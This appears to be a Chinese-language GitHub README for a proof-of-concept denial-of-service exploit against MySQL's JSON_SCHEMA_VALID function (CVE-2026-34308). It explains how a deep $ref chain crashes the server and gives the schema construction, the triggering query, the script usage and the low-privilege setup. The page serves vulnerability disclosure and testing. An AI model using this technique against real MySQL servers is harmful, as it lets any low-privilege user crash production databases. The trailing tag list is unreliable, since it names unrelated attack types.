JoakimBulow/CVE-2026-34308

GitHub: JoakimBulow/CVE-2026-34308

针对 MySQL Server JSON 组件中 JSON_SCHEMA_VALID 函数递归引用导致栈耗尽崩溃的拒绝服务漏洞(CVE-2026-34308)提供概念验证脚本。

Stars: 0 | Forks: 0

# CVE-2026-34308: MySQL Server (JSON 组件) 拒绝服务 官方供应商公告:[Oracle Critical Patch Update Advisory — April 2026](https://www.oracle.com/security-alerts/cpuapr2026.html)。 ## 摘要(来自已发布的 CVE) Oracle MySQL Server 中的漏洞(组件:Server: JSON)。 受影响的受支持版本:**8.0.0–8.0.45**、**8.4.0–8.4.8** 以及 **9.0.0–9.6.0**。 该漏洞允许低权限用户使 MySQL Server 崩溃。 **CVSS 3.1 基本分数**:**6.5**(仅影响可用性) **CVSS 向量**:`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` ## 其他技术分析(不属于 CVE 文本) **观察到的机制**:当 MySQL 针对 JSON Schema 评估 `JSON_SCHEMA_VALID()` 时,如果该 JSON Schema 包含一条由 `$ref` 指针组成的长线性链,由于在 Schema 编译/验证期间缺乏有效的深度限制,会导致深度递归——进而造成栈耗尽并引发挂起或可重复的崩溃。 **调用链(概念性)**: ``` Client SQL → JSON_SCHEMA_VALID(schema, instance) → internal JSON schema validation → repeated $ref resolution → stack exhaustion → hang / crash ``` ## 所需权限 对于此 PoC,**任何经过身份验证的 MySQL 账户即可**:只需在 `*.*` 上授予 `USAGE` 权限(MySQL 的最低权限——即连接能力——无需 `SELECT`、表访问权限或管理员角色)。如果用户能够打开会话并运行 `SELECT JSON_SCHEMA_VALID(...)`,就可以触发此状况。 ## 概念验证 ### PoC 脚本:`poc_schema_dos.py` 构建一个包含线性 `$ref` 链的 JSON Schema(示例深度为 1200): ``` { "$ref": "#/definitions/l0", "definitions": { "l0": {"$ref": "#/definitions/l1"}, "l1": {"$ref": "#/definitions/l2"}, ... "l1200": {"type": "string"} } } ``` 作为以下语句发送给 MySQL:`SELECT JSON_SCHEMA_VALID('', '"x"');` 在针对易受攻击的构建版本进行的测试中,观察到这会**在大约一秒钟内导致服务器崩溃**(具体时间取决于硬件、构建标志和 Schema 深度)。 ### 使用方法 ``` python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password "" ``` 测试低权限账户: ``` CREATE USER 'test'@'%' IDENTIFIED BY 'password'; GRANT USAGE ON *.* TO 'test'@'%'; FLUSH PRIVILEGES; ``` 然后运行:`python3 poc_schema_dos.py --user test --password password` ## CVSS v3.1(官方向量) **6.5** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` - **AV:N**:网络访问 - **AC:L**:攻击复杂度低 - **PR:L**:需要低权限 - **UI:N**:无需用户交互 - **S:U**:范围不变 - **C:N / I:N**:对机密性或完整性无影响 - **A:H**:对可用性影响高(挂起 / 可重复崩溃 / DoS) ## 文件 - `poc_schema_dos.py`:概念验证脚本 - `README.md`:本文件
标签:0day, CISA项目, CVE-2026-34308, CVSS 6.5, DoS, JSON_SCHEMA_VALID, JSON组件, MySQL Server, Oracle MySQL, PoC, Python PoC, Web安全, 低权限攻击, 协议分析, 堆栈耗尽, 拒绝服务, 数据展示, 暴力破解, 权限提升, 概念验证, 深度递归, 漏洞分析, 系统崩溃, 红队, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 逆向工具, 隐私保护